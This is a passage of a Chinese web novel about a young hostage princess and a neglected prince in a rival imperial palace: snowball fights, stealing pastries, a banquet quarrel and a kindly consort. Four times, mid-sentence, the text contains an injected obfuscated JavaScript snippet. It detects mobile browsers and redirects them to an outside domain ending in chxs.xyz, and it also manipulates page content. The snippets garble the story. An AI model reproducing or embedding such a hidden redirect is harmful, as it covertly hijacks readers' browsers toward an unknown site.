杜欢颜觉察他情绪高了不少,也开心的弯起嘴角,正巧这时外面也出了太阳,想来已经没那么冷了。 于是小欢颜轻轻扯住纪如愿的袖子晃了晃,语气有些撒娇道:“阿愿阿愿,外面出太阳了,我们去打雪仗吧,你没打过雪仗是不是?” 纪如愿受不住她撒娇,想答应,摸了摸她的狐裘斗篷,还没干,怕她冻着,直接陷入了两难。 杜欢颜看他没有直接拒绝,又继续晃着他的袖子:“我穿你的短袄也不冷的,就陪陪我嘛,好不好呀阿愿?” 纪如愿拗不过她,当然,他也是想让她开心,还是陪她一起去打雪仗了。 只是没想到,最开心的竟是纪如愿。 他之前没玩过雪,一开始还束手束脚的,被杜欢颜追着扔雪球,几轮下来也放开了手脚,两人你追我赶的,平日冷清荒凉的院落也被欢笑声填满了。 直到日头在空中高照,两人也累的躺倒在雪地里。 杜欢颜盘算着也到中午了,又想着邀纪如愿来她宫里用午膳。 纪如愿一下坐起来,如临大敌。直到杜欢颜再三解释昨天真的是意外,今天一定很好吃,纪如愿终于答应和她一起去。 只是刚到宫院门口,阿若就迎了上来,一边检查小公主有没有事一边怨怼着:“殿下!怎么这么晚才回来!也不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928634|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去哪了,我派了好几个小太监去找你,担心死我了!您身上怎么湿湿的,斗篷呢?” 杜欢颜被阿若的连环问围攻,连连展示自己没事,“阿若阿若,放轻松,我这不是回来了吗,我答应了你不会去危险的地方,只是去玩雪了,所以斗篷和身上都湿了。” 阿若一听是去玩雪了,又要一通牢骚。杜欢颜见机赶紧稳住她,给她指了自己身后,“阿若你看,谁来了?” 阿若顺着一看,不正是三皇子?这下抱怨也不得了,连忙行礼:“给三皇子请安,奴婢刚刚失礼了。” 纪如愿点点头算是应了,杜欢颜就带着他进了里屋。 等到小欢颜出来,阿若还凑过去担心的耳语:“殿下,三皇子他,不会是为了昨天的菜来兴师问罪来了吧?” 小欢颜都对阿若的奇怪想法有些无奈了:“不是啦,三皇子人很好的,不会计较这些事的,还是他给了我短袄穿呢,是我邀他来一起用膳的,正好到中午了,阿若你吩咐一下,把午膳端上来吧。” 阿若这才放下心,小殿下没受欺负就好,欢欢喜喜去准备午膳了。 这边纪如愿又有些不安了。 “你的宫女,很关心你呢,只是,她好像很怕我。” 杜欢颜都有些无语了,这怎么哄完一个又来一个,只是她还是软下声音温柔道:“她呀,昨天不小心吩咐错了,让你吃到了难吃的菜,还以为你来兴师问罪来了呢,刚才还问我有没有受了你的欺负。” “怎么会,我怎么会欺负你......”又没了底气,因为自己昨天确实让杜欢颜吃了个闭门羹。 “所以呀,我告诉他了,三皇子殿下才不是那么小气的人呢,还很温柔友善,借我衣服穿,这下放心了吗?” 纪如愿又被她闹得有些脸红,小声说着自己也没有那么好。 这是午膳也端上来了,纪如愿开始还不敢尝试,在杜欢颜极力赞美下尝了一小口后,眼睛都亮了起来。 正常味道的美食果然一下就俘获了两个孩子。又因玩雪消耗了体力,两人很快就吃了个精光,心满意足的坐在榻上。 5. 在下正是点心妙手 冬雪融化便是开春了,除了回温的天气,还有日渐熟络的两人。已是随意串门的关系了。快乐的生活让小欢颜差点忽略了一件事,上学堂。 虞国虽说不理睬这位人质公主,倒也给她安排了学堂上课,同纪如愿以及其他皇子公主们一起。 杜欢颜在学府见到纪如愿还觉得有点意外,见他周围都没什么人,快步就走了过去悄悄耳语: “那些人平日都对你不闻不问的,我还以为他们没安排你上课呢,这下我们可以一起啦!”说完就自顾自坐在了纪如愿身边的位置上。 纪如愿还想拦着她些:“阿颜你别......再如何,我也是皇子,这种事顶多怠慢些,倒不至于让我大字不识,只是你这般亲近我,那些人恐怕也会看你不顺了。” 小欢颜知他所说的“那些人”是学堂里其他的王公贵族,不过她本也无意与那些人结交攀附。 只是,她此时又起了玩心,“好吧,既然阿愿都把我往外推,那我也只好遂了你的意......”说罢作势要起身,却被纪如愿一把拉住:“别走!你就坐这吧,他们,不是好相处的,学官也快要来了。” 小欢颜自然是看出了他的小心思,也没拆穿,继续坐回到他身边,学官正好也进来开始了授课。 只是令杜欢颜没想到的是,虞国所学内容与容国有所不同,且她比纪如愿还年幼两岁,学识上相差颇多,一天结束直接趴在桌子上连连叹息。 纪如愿被她的叹声搞得不知所措,还以为她是因为不愿意上学堂,只得轻轻安慰:“虽说这课业确实烦了些,不过学一些也是有用处的,况且你看,你是质子,若是做了大字不识的深闺公主岂不更是任人宰割。你若实在不喜做这么多繁重的课业,我帮帮你也不是不行。” 杜欢颜有点无语的听他一通说教,一个眼刀劈过去, “阿愿,要不是你苦口婆心地我都觉得你是在讽刺我了,怎么就到大字不识的程度了。我当然不是不愿意学了,只是,与我之前学的不太一样。” 纪如愿很少看到她这般垂头丧气的样子,一时竟想逗她玩玩: “哦,喜欢学,只是我们小阿颜遇到困难了,所以唉声叹气的,那你早说,让如愿哥哥教你啊,我可是……” 愿意的话语还没说出口就被杜欢颜一下绊倒了椅子“纪如愿!你还调侃我!你学的快,那你还比我老两岁呢,才不要你教我!” 纪如愿见她真的不高兴了,收起了那副不着调的笑脸,从地上爬起来温声哄着:“小公主,真生我气啦,我逗你玩的,我巴不得上赶着教你,也不用你喊哥哥,我叫你姐姐,好不好?” “哼,这还差不多,我才不做你姐姐,那比你还老了,不过谢谢啦,如,愿,哥,哥。”明明是亲昵的称呼被她喊出来却是没有半点撒娇的意味,满是得意洋洋。 纪如愿也是拿她没辙,随后真的拿起书开始对她指导起来。好在我们小公主确实努力,一年下来已经能在春考中和纪如愿打成平手了。 “阿若快看!我超厉害!” 阿若也是替她欣喜无比“是是是,我们小公主最棒了!”话落纪如愿也从门外走了进来:“阿颜好生厉害,现在我也对你是甘拜下风喽!“ 小欢颜更是一下来了兴致:“好容易结束了春考,这么高兴的日子,阿愿,要不要和我去找点乐子?” 阿若听了这话却是下意识紧张,这么久相处下来,阿若早已摸透了自家殿下是个什么作风。小公主一说这话准不是什么好事,可还不等她问及,纪如愿已经是一脸爽快的答应了。 “皇子殿下,你也开始跟着越发胡闹了!” “好啦好啦阿若,我向你保证不是危险的事!你放心好啦!”杜欢颜说完还不等阿若再开口,立刻拉着纪如愿风一般的飞出门。 直到他们两个一起躲进了御膳房后的橱柜中,纪如愿才后知后觉阿若的担心不是没有道理的,“你说的乐子,就是来御膳房偷点心?!” 杜欢颜立刻朝着他挤弄着眼睛,又把手指放在嘴唇上“嘘”了一下, “你小点声,外面有人呢!” 纪如愿内心一阵懊悔,“有人不应该赶紧跑吗,你还拉着我躲进来了?” “我早晨听路过的宫女说今天有异国使臣来访,还进献了好些美食,都送来了御膳房,你就不想尝尝吗?” 纪如愿又是一阵无语,他如果早知道是为了这个,当时一定和阿若一起拦住杜欢颜。事已至此,他也只能无可奈何的开口询问, “那现在怎么办,点心没吃到,外面还有宫人看守。” 杜欢颜咬了咬嘴唇,似是下定决心般开口:“阿愿,你信我吗” “现在是探讨信任问题的时候吗?” “嘶,你先回答我就对了” 纪如愿深深的看着她,破罐子破摔一般, “我信你,你做什么我都信,这样可以了?” “有你这句话就够了!” 说完,杜欢颜在纪如愿不可思议的目光下掏出随身携带的一把匕首,割下一些两人衣裙上的布料,随意挑出几条长布料蒙在他和自己的脸上,又蹭了些锅灰在身上,扮作乞儿,乍一看还挺像模像样的。 随后,杜欢颜在心里默念“三二一”,拉着人一鼓作气冲了出去,边冲边揉乱头发喊: “有贼呀,就在屋里,快抓贼呀!”外面的宫人立刻就被吸引了注意力,一股脑都冲进了屋子,也有几个人注意到了他们,但他俩都是破破烂烂的一团,也来不及细看,只匆匆瞥了一眼就跟着前面人冲进去抓贼。 两人铆足了劲跑到了老远的偏僻角落停了下来。 “咳咳,看吧,我说能带你出来就肯定能!” 杜欢颜浑身脏兮兮的,语气仍带着那股得意劲,好似刚才狼狈逃窜的不是她似的。 纪如愿也大喘着气摇摇头, “咱俩今天,又没吃到点心,还把衣服撕烂了,弄得一身狼狈,真是,咳咳,陪了夫人又折兵。” 杜欢颜平息好了后,冲他高深莫测的笑了一下, “谁说没吃到点心的,你看这里!” 说着她把手伸进袖子里,竟是从里面掏出好多块精致糕点来。 “喏,这不是吗?” 纪如愿再一次不可置信地抬头,好像第一天才认识她, “你怎么做到的?我们刚才不是一起跑的吗?” “这你就不懂了吧,其实呀,我从前就爱吃甜食,大姐又总是禁止我吃太多,宫人们对点心那叫一个严加看管,生怕有人带给我。我馋得很,没法子,只能乔装打扮进去偷,现在我们容国皇宫里还流传着点心妙手的传说呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928635|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人一人一块的分了点心吃起来, “没有我们容国的好吃!” “诶?我觉得相当可口啊。” “那是你没尝过更好吃的,等我以后带你去容国尝尝,保准你喜欢!” 杜欢颜突然噤了声,纪如愿曾经的处境何其艰难,自己怎么还说出他没见识这样的话,这不是戳人痛处吗,急着想找补一句:“我不是那个意思......” 纪如愿却突然伸手止住她接下来的话,随后两指停在她唇边,又发觉不妥,改拿了一块没用上的碎布料缠在指上,轻轻擦去她唇边的点心碎屑,弯了眼睛, “那以后可拜托小公主带我见世面喽!” 杜欢颜呆愣愣地看他做完这一切,腾的一下站了起来,捂了捂脸,有些热热的,偏偏那始作俑者还装没事人,一声声的喊她:“阿颜,怎么了呀,阿颜?” 不想回答,选择回避。 于是她拍了拍身上的尘土,“不早了,我们回去吧,要不然阿若又要开始发牢骚了。” 纪如愿也起身,两人正要离开,杜欢颜又想起了什么,回到刚才那处,挖了些泥土盖在掉落的糕点屑上,之后才满意地起身离开。 “这下万无一失啦!” “阿颜,你想的还真是周到,不会真有那什么点心妙手的传说吧?” “你不信我?当然是真的啦,而且可不只是点心,当时我和二姐私藏话本被大姐发现了,直接没收了话本藏在了寝宫里,当时让我一顿好找呢!” “噗嗤,这样啊,那我们阿颜也太厉害了,称得上绝世神偷了。” “那可不!” 日暮降临,两人也说说笑笑着回了宫院,殊不知迎接二人的是一脸怒气的阿若。 “殿下们!还说不会去胡闹!怎么又回来的这样晚?!” 两人尴尬对视一眼,正打算扯个谎,阿若却没给二人这个机会, “我在这都听说了,今日御膳房进了两个贼,宫人们找了许久都没抓到,还趁乱溜了两个小乞儿,我说是谁这么大胆,敢擅闯御膳房,结果居然是殿下你们两个!” 杜欢颜一看也瞒不住了,索性拉着纪如愿一边一个哄着阿若消气。“诶呀阿若,我们这不是没被逮到吗,好阿若别气啦!”说着杜欢颜还对着纪如愿疯狂使眼色,示意他也赶紧说点好话。 “是啊阿若,我们这不是好好的,不过,你是怎么知道是我们二人的?” 提起这茬,阿若刚下去的火又燃了起来,她拿过一把铜镜递给二人, “殿下你自己看,你们两个这般灰头土脸的,浑身衣服还破破烂烂的,刚才离远了我还以为那两个偷点心的小乞儿躲进了这里,结果真就是你们两个!” 杜欢颜瞧阿若真是气急了,又开始连连撒娇:“阿若,我们回来的路上都避着人的,没被别人发现,就原谅我们这一次好不好嘛?” 阿若听他们没被看到,显然也松了口气,但想着还是得让这两个顽童涨涨教训,不然保不准两人什么时候又去做这般危险的事。 “殿下想做什么,阿若自然无权干涉,只是这般危险之事还是万不能有下次,所以这次,罚你们两个今天只吃胡萝卜!” 两个孩子最讨厌吃的都是胡萝卜,阿若这惩罚可谓精准拿捏了二人的痛楚,直让两人叫苦不迭发誓再也不敢了。 6. 宴席风波 春考结束后的几日,杜欢颜迎来了她在虞国的第一场春日宴席。 此前因战争刚刚结束,百废待兴,虞国皇帝下令暂且取消宫中各类宴席,举办宴席所用的银两全部用于恢复生产耕织。 所以如今这场春日宴可谓十分隆重。在以往,普通妃嫔和皇嗣是不能参与的,这次竟是全都得令参加,包括看似无人问津的杜欢颜和真正无人问津的纪如愿二人。 纪如愿倒是兴奋些,他从未去过这些宴席,听杜欢颜讲在容国宴席上的各种美食歌舞,早已羡慕极了,如今能和阿颜一起,自是期待无比。 只是本该更喜欢这类热闹活动的杜欢颜却是闷闷不乐的。她如今身在千里之外,不能与家人团圆,还要参加使得她有家不能回的罪魁祸首国的什么劳什子团圆宴,那皇帝还特意下旨邀她去,肯定是为了让她赌心,而她心里也确实苦闷的不行。 只是如今自己还在这,就不能拂了那虞国皇帝的意。况且,杜欢颜再次从橱柜底层翻出《质子求生之术》,细细翻阅起来。 有了!这上面有说,宴席是探查情报的好时机,还可用来结交人脉。既然二姐也这么写,那就当是去探查虞国底细好了。 杜欢颜如是想着,心里却没有好受多少,果然还是万分不愿啊。 虞国比容国暖上不少,这时节的容国估摸着还是一片银装素裹,而这里的枝头却已冒出些花骨朵。 小欢颜一边感叹着一边四处望望,说来她还真没怎么参观过虞国皇宫的各处景色,之前是不想引人注意,后来有了纪如愿这个玩伴,也就没再想着另结实其他人。 只是今夜宴会来者众多,除众皇子妃嫔,还有朝中重臣以及各路使者,连宫人们都脚步匆匆。 突然间,一个约摸四五岁的小姑娘好巧不巧的撞在了杜欢颜身上,紧接着又有个嫔妃模样的女人急匆匆几步过来抱起这小姑娘。 杜欢颜心下了然,这小孩应是虞国的某位小公主。那嫔妃抱起小姑娘紧张的看了半天,见她没把哪里摔坏,总算松了口气。 只是做完这一切后,这位嫔妃终于是想起了被撞到的杜欢颜,正想着赔个不是,一抬眼瞧见了她的模样却不作声了。 也许是在思考着这是虞国的哪位公主,只是最终也没能想起来,含糊的赔了个礼就带着女儿离开了。 杜欢颜倒是不甚在意,她未出过几次宫院,对于这些后宫妃嫔来说定是看着面生,想来她们也不好联想到自己容国公主这个身份。 只是刚才那一小插曲倒是惹了别的麻烦,原本跟在她不远处的纪如愿此时找不见了踪影。 这可让我们小公主慌了神,夜色已黑,四处即便挂着灯笼,但发出的光昏黄,不但看不清人,b斑驳的光亮反而更迷了人眼。 杜欢颜四处张望也不见他,反而顺着人流胡走到了别处。 正在杜欢颜一筹莫展之时,身侧却传来了柔和的声音, “容国的小公主,那边的人,是你在找的吗?” 杜欢颜顺着往一边看去,正好看到了纪如愿也转过头望向她,之后朝她挥着手快步跑过来, “阿颜!” 那身侧之人听见这称呼显然愣了一下,只是等到杜欢颜回头想要寻她是谁,身后又只剩一片虚无。 “阿颜!总算找到你了,我刚才一转头你就不见了,可把我急坏了!总算是找到你了!” 杜欢颜没有回答他,还在张望着想找到刚才那人。 纪如愿也顺着她的目光望过去,只看到零星几个妃嫔和来往宫人。 “找什么呢阿颜?宴会快开始了,我们先进去吧!” 杜欢颜轻声回应着,跟着他一起往宫殿走,心里却仍是有些在意。 只凭背影就认出自己是谁了,会是什么人呢? 思考间,二人已踏进了宫殿,宫女分别带他们来到自己的位置落座。 只是这下两人都不高兴了。这座位是男女分开的,杜欢颜同公主妃嫔们在一处,纪如愿则是和其他皇子以及大臣们一处,两人直接坐在了宫殿的对角,这下连个能说话的也没有了。 在一众异国使臣献完礼后,不断有人献上歌舞乐器表演。小欢颜百无聊赖地欣赏着这些歌舞,偶尔尝尝面前的糕点。 宴席过半,有互相熟络的妃嫔已经热切聊在了一起,公主们也是探着头闲谈着,一时之间,桌案上只剩杜欢颜在正襟危坐的嚼着糕点。 起初她还伸长了耳朵,想着能听到些什么,结果发现妃嫔们净是聊些后宫之事,公主们则是讨论着自己的新钗环新裙子好不好看。 杜欢颜听了一会儿更觉头都大了,没什么有用的消息,育儿心得倒是学到一堆。 许是气氛烘托,女眷这边无人饮酒,却仍有种如痴如醉的感觉在。 杜欢颜晃了晃脑袋,决定溜出去透透气。 她探起头往纪如愿那边望,瞧见他在那边也是和自己相同的境遇,一本正经的端坐着,有些好笑,趁着他望过来之时,杜欢颜赶紧冲他使使眼色,又打了个手势。 纪如愿同那些皇子们也聊不到一处,心觉宴席原是如此无聊透顶,也盘算着着找个机会带着杜欢颜溜出去,哪成想两人又想到了一处,一拍即合,当即行动起来。 各自找了个理由从宫殿溜出来,两人走走停停就到了御花园。虽说没有春深时节的百花齐放,此时园内梅花与星星点点的绿芽交相呼应,配合着月色与灯光,竟是别有一番风味。 “可算出来了,在里面可闷死我了!”杜欢颜随意的拨弄着梅花,转头看纪如愿已肆意的坐在草地上。 “原来你也一样啊!我以为你以前经常参加宴席,早都习惯了。刚才我还担心你会不愿意和我出来呢。” 杜欢颜嫌弃地撇撇嘴:“我才不喜欢呢,那些使臣进奉的说辞我都倒背如流了,而且呀,以前都有二姐和大哥陪着我找趣儿解闷,不像现在,也没个说话的人。” 想起以前的乐事,杜欢颜不免陷入了回忆,有些感伤,纪如愿也看出她心情不佳,起身挑了朵梅花别在她头上,又轻轻安慰着:“我还在陪着你呀,阿颜,别难过,将来,你肯定能和家人团聚的。” 只是两个小可怜正互相抱着团安慰着,树丛后却冒出来个不速之客。 “呦,这不是我们有娘生没娘养的三皇子,纪如愿嘛,我还说你怎么平日那么寒酸,如今放着宴上好酒好菜不吃,却溜了出来,原来啊......”那人说着,视线还在二人之间扫了一圈,“是和我们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928636|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位败国公主厮混在一起!” 杜欢颜瞧着来者语气不善,想来定是早就看他们不顺眼了,如今还特意跟过来,只是...... 她用手在背后捅捅纪如愿,凑过去小声询问:“这是谁啊?” 小公主平日少与人交流,又有些夜视困难,眯着眼瞧了半天也没想起来这人姓甚名谁。 只是还不等纪如愿回答她,那人听见杜欢颜的疑惑,更加的火冒三丈: “杜欢颜!你竟不认得本皇子?!同在一个学堂你竟不认得我?好,好,你听好了,我乃虞国四皇子,纪晔臣!” 杜欢颜终于恍然大悟地点点头,更加小幅度的凑近纪如愿:“我觉得没你的名字好听。” 纪晔臣见他二人一副不把他当回事的样子,气急败坏的出言讥讽: “我说怎么有人上赶着坐在纪如愿这扫把星旁边,原是你二人早就关系匪浅,我看啊,一个克死了娘,一个克死自己国家,如今又狼狈为奸,还真登对!” “够了!纪晔臣,我是你皇兄!平日里我不愿与你起冲突,但你不能这么说阿颜!你太过分了!” 那纪晔臣不但没有收敛,反而更加变本加厉,慢慢的走近二人: “我就说了怎么着,还皇兄?一个婢女生的孩子也好意思说自己是我皇兄?什么时候轮到你个废物和我说话,你......啊!”话未说完,他突然捂着自己的手惨叫起来,细看那里正有血渗出。 杜欢颜悄悄收起背在身后的弹弓,幸好纪晔臣走近了些,要不然她都瞄不准。她才不是任人宰割的性子,刚刚沉默这么久,其实就是在想法子偷袭他。与这种人争吵,不如让他受点疼长记性。 只是她本想直接拉着纪如愿远离这是非之地,那纪晔臣的惨叫却越来越大,心想着要不要讲个什么鬼故事让他吓得闭嘴,又听见有几个人匆匆赶过来。 “来人,把他们拿下!” 为首的是个衣着华贵的女人,指使着宫人就要冲他们过来。 “都别过来!” 纪如愿将杜欢颜死死护在身后,对那女人道: “祺娘娘,恕儿臣失礼,只是娘娘此番作为,过于是非不分!儿臣与容国公主只是在此地闲谈,不想四弟过来就不分青红皂白讥讽辱骂我二人,儿臣不过反驳他几句,不知他手上的伤从何而来,他如此尊卑不分,您却说儿臣有错,儿臣不知何错之有!” 原来是那皇子的母妃,怪不得两人都一个样,一上来就先发飙。杜欢颜从心底里升起一阵无语。 那祺娘娘并不听纪如愿的说辞,冷笑着:“不是你伤了晔臣,难不成是他自己伤了自己,就为了陷害你?真是好大的脸,还敢在我这里狡辩!” 确实不是他伤的,因为是我伤的,杜欢颜默默地想。她本打算自己承认了,左右自己明面上还是两国交善的使者,虞国目前还不能对她怎么样。 可是纪如愿死死挡在她身前,二人都不给她开口的机会。 那祺娘娘显然是已经不耐烦了:“这么护着容国公主,还为她打伤自己弟弟,三皇子,好大的胆子,怕不是想要通敌叛国!和我谈什么尊卑,那本宫今日就先好好教教你什么是尊卑规矩,拿下他们!” “大胆!” 7. 淑妃娘娘 这一夜还真是热闹非凡,不一会儿功夫就凑齐了这好些人。二姐说的果然没错,宴席真是个结交人脉的好机会,就是不知结交到的,是善人还是恶人。 且说这厢祺娘娘刚要冲来人动怒,身旁的宫女太监们就已纷纷开始行礼, “给淑妃娘娘请安。” 这位淑妃娘娘只是抬了抬手示意他们免礼,见那刚刚还气焰嚣张的祺娘娘此刻正直直地站在原地,又开口: “祺昭仪,你见了本宫,为何不行礼?”嗓音柔和,又带着威严。 这话好似终于点醒了祺昭仪,她只微微欠了欠身子当作行礼,语气中满是不愿:“臣妾不曾想夜深了还能在此处偶遇淑妃娘娘,一时发了楞,还请娘娘不要怪罪。”这淑妃也是怪了,平日里都免了妃嫔们对她行礼问安,今日怎么转性了? 淑妃娘娘只是淡淡的扫了她一眼,复又开口: “本宫还没免了你的礼,怎么就起身了,方才听你叫嚷着着要教三皇子规矩,可本宫怎么瞧着,你自己也是个没规矩的,怎么反倒训斥起别人了?” “你!” 祺昭仪在宫中就是个性子泼辣的,妃嫔们也都不和她一般见识,如今被淑妃这般出言嘲讽,气得都有些语无伦次,又碍于淑妃位分在她之上不好发作,只得语调生硬地开口: “方才我儿不过与那三皇子起了些口舌之争,不成想他竟打伤我儿,如此残害手足心胸狭隘之人,臣妾也不过是想好好教育他一番!” 淑妃娘娘没理她,转过身问纪如愿:“刚刚你与你四弟起了争执吗?” 纪如愿恭恭敬敬地冲她行了个礼,紧接着回答:“回淑妃娘娘的话,儿臣刚才只是与这位容国公主在御花园欣赏景致,不料四弟突然闯过来,对我二人出言挖苦,儿臣就反驳了他。” 淑妃点点头,又问:“那你打伤了他吗?” “儿臣没有!四弟冲我们走过来时突然就受伤了,儿臣对此实属不知!” “你胡说!分明就是你打伤了我,你还敢撒谎!” 沉默已久的四皇子突然开口大喊着,还要淑妃娘娘为他伸冤。 这时一直被纪如愿护在身后的杜欢颜站了出来,也对着淑妃娘娘行了个礼:“娘娘,方才那四皇子语出粗鄙,我被吓到了,三皇子一直护着我,确实没有功夫再去打伤他,请娘娘明鉴!”不算撒谎,因为人是自己打的。 淑妃娘娘仍是没开口让祺昭仪免礼,就着这个居高临下的姿势对她说: “三皇子说是你儿子先挑起的事端,也没有伤他呀,祺昭仪就这么不分青红皂白地要拿下人家两个?” 祺昭仪还想反驳,淑妃又开口堵住她的话头: “祺昭仪和四皇子不懂礼数,随意诬陷皇子,来人,把他们送回宫,再吩咐教习嬷嬷过去,好好教教他们二人规矩!至于他的伤,本宫自会好好查清楚,给你们一个交代。” 说罢又对着纪如愿二人开口: “你们两个,随本宫走。” 留下身后大惊失色的祺昭仪母子。纪晔臣更是惊谔得不得了,淑妃娘娘平日里最是温柔了,自己今日不知是触了什么霉头,受伤了不说还要面临禁足。 且说纪如愿二人一路沉默的跟在淑妃身后,皆是大气不敢出,经历了刚才那一茬,谁敢想在前面等着他们的是蜜糖还是巴掌。 就说不该来这破宴席吧! 一直跟着淑妃走到了另一座宫院,那柔和的声音终于又响起:“坐吧”接着自顾自倚在美人榻上。 二人你看看我我看看你,谁也没有先落座。 淑妃娘娘看这俩小孩一个比一个拘谨,嫣然一笑:“方才在御花园都站了那么久了,怎么到了我这里还是傻站着,坐吧。” 见两人坐下,又吩咐下人给二人上了几盘糕点,自己也拿起来吃,还是笑着:“那宴席上的糕点都是御膳房照着皇上的口味做的,寡淡得很,我可不喜欢,你们两个年纪小小的肯定也吃不惯吧?来,尝尝我这里的。” 杜欢颜先拿起一块尝了一口,入口清甜软糯,却不觉腻人,眼睛一下就亮了,自从来到虞国,已经很久没有吃到过这么符合她口味的点心了。 她几口将点心吃干净,又塞了一块给还在犹豫不决的纪如愿,两人都直竖大拇指。 “多谢淑妃娘娘款待,点心真是太美味了!”两小只吃完也心满意足的窝在椅子上,一直微笑看着他们两个的淑妃娘娘此时发话了:“所以,可以和我说说了吗,关于四皇子的伤。” 完了,是温柔刀!刚缓和的气氛一下又紧张了起来。纪如愿抢先开口:“淑妃娘娘,四弟的伤,儿臣确实不知......” 不等他说完,淑妃就打断了他:“不是问你,是问你身旁的这位容国公主。” 杜欢颜本也没想着能蒙混过去,掏出弹弓递过去:“回淑妃娘娘,是我做的,他欺人太甚,实在难以容忍。” 淑妃接过那弹弓上下看了看:“做的还真精巧呀,你自己做的吗?” 杜欢颜有些疑惑,不立刻治她的罪,反而关心作案武器?但她还是不动声色地回答着:“是我做的,与纪......与三皇子无关。” “那你可真厉害呀,我也喜欢,改天也做一个给我好不好?”看淑妃这般模样,倒真像是对这弹弓爱不释手,只是...... “娘娘知道是我伤了四皇子,不责罚我吗?”杜欢颜心里疑惑更甚了,这娘娘好生奇怪。 “你不是说了吗,是他欺人太甚,我做什么还要罚你呢?那岂不是助纣为虐。” 是善解人意的好娘娘!杜欢颜在心里感动的抹了把泪。 “多谢娘娘明鉴!” 淑妃从美人榻上下来,慢慢走到杜欢颜身旁,微微弯了腰与她平视, “说起来,我们不久之前还见过呢,我帮你找到了如愿,记得吗?听他喊你阿颜,这是你的名字吗?” 怪不得从刚刚就觉得淑妃声音有些耳熟,杜欢颜更是惊喜极了, “是,娘娘,我名唤杜欢颜。原来当时那人竟是娘娘您,我本想和您道谢的,谁知一转头您就不见了,如今又是娘娘帮了我,我与娘娘定是有缘!”是大腿!我抱! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928637|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真是可爱的名字,我叫你小欢颜好不好?去年听说容国派了位漂亮的小公主过来,我就想见见你了。今日一见,当真是让人瞧着就觉得欢喜。” 淑妃不光嘴上说着欢喜,还上手捏了捏她的小脸。 这一下都给杜欢颜整的有些不知所措了,一旁的纪如愿看出她的窘迫,道:“淑妃娘娘,阿颜她平日少与人接触,您这般会让她害羞的。”总算把阿颜的小脸解救出来了。 淑妃看看杜欢颜,又看看纪如愿,笑得更灿烂,也伸手揉了揉他的头:“如愿也是,都长这么大了,我上次见你,你还是小小一个呢!”出现了,你小时候我还抱过你! 杜欢颜一脸幸灾乐祸地看他冲自己露出求救的眼神,移开眼决定当作没看到。 待淑妃娘娘终于摸够了,杜欢颜帮着他梳理凌乱的头顶,一边开口问:“只是娘娘,祺昭仪那边,您该如何交代呢,我到底还是伤了他。” 淑妃正喝着茶,顿了一下,“你不说我差点都忘了,让我想想,便说是什么动物刺了他吧!”喝下了剩下半口茶。 “这,能行吗?祺昭仪若是不认这个说法,会不会找您麻烦?” “小欢颜呀,有人愿意为你摆平事端,你只要接受就好了,我若不找这么个理由,而是直接把你交出去,祺昭仪即使明面上不能对你如何,私下里肯定也会找你麻烦,何况她还有贵妃这个靠山,你现在可是斗不过她的。” 她停了停,看着两人越发凝重的神色,又细心安抚: “我虽位分只比她高了一级,但常年协理六宫,纵然是贵妃也不能奈我何。 况且御花园里时不时也会出现只刺猬呀,狸猫呀,当时无人看见你动手,你不承认,她也只能应了这番说辞。好啦好啦,这事就当过去了,都高兴点。” 杜欢颜已经不记得有多久没有听到过有人对她说别怕,愿意为她摆平一切,好像自从来了这里,万事都要考虑的仔细周全。她已经好久好久没有被人好好珍视过了。 此刻淑妃娘娘的脸竟然和长姐那严肃又温柔的连重合,让她忍不住想要大哭一场。 “呜呜......淑妃娘娘,谢谢您,谢谢您......呜呜。”开口即是哭腔,把淑妃和纪如愿都吓了一跳。 淑妃娘娘轻轻将她搂进怀里,轻声安慰着:“好孩子,好孩子,别哭,有淑妃娘娘在呢,别怕。”并对着纪如愿使眼色,意思是,你的青梅,快想法子哄哄。 纪如愿也是手忙脚乱,一会儿拿帕子给杜欢颜擦眼泪,一会儿拿块糕点想让她吃点心情好点。 淑妃娘娘一副恨铁不成钢的表情看他。 